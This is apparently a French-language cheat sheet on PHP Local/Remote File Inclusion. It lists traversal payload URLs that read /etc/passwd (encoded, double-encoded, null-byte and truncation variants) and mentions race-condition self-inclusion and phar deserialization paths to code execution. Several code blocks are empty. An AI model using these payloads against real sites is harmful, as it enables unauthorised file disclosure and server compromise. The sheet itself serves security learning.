Alex GARRIDO - @Zeecka_
Local File Inclusion (et Remote File Inclusion) :
Vulnérabilité permettant l’inclusion de fichier local (ou distant). La vulnérabilité peut conduire à l’exécution de code client (XSS) ou serveur (RCE), au DOS, ou encore au vol de données. La vulnérabilité existe sur différents services, et sur n’importe quel langage de programmation.
Voir PayloadAllTheThings ou le blog de Sushant747
Technique de navigation utilisant les liens symboliques pour accéder à du contenu normalement inaccessible.
Exploitation normale
https://site.fr/?page=../../../etc/passwd
URL Encode
https://site.fr/?page=%2e%2e%2fetc%2fpasswd
Double Encode
https://site.fr/?page=%252e%252e%252fetc%252fpasswd
https://site.fr/?page=../../../etc/passwd%00
( < PHP 5.3.4 )
https://site.fr/?page=../../../etc/passwd/./././[4096 plus tard]/.
( < PHP 5.3 )
(pas de préfixe, PHP >= 5.0)
(pas de préfixe, PHP >= 5.3, dépendances...)
PHP
BASH
(pas de préfixe, PHP >= 5.3, dépendances... )
selfinclusion.php :
URL :
"... supprimé à la fin de l'exécution du script"
+
Segmentation Fault (ou infinite loop)
=
Fichier non supprimé (ou tardivement)
Race Condition
Time to script...
TL;DR: On peut instancier un objet / désérialiser un objet d'une classe déjà présente sur l'application, à condition d'avoir une LFI et un formulaire upload pour envoyer l'archive phar malveillante.
Dans le pire des cas, la vulnérabilité peut mener à une RCE ou du ROP PHP.
... pas d'Exécution :(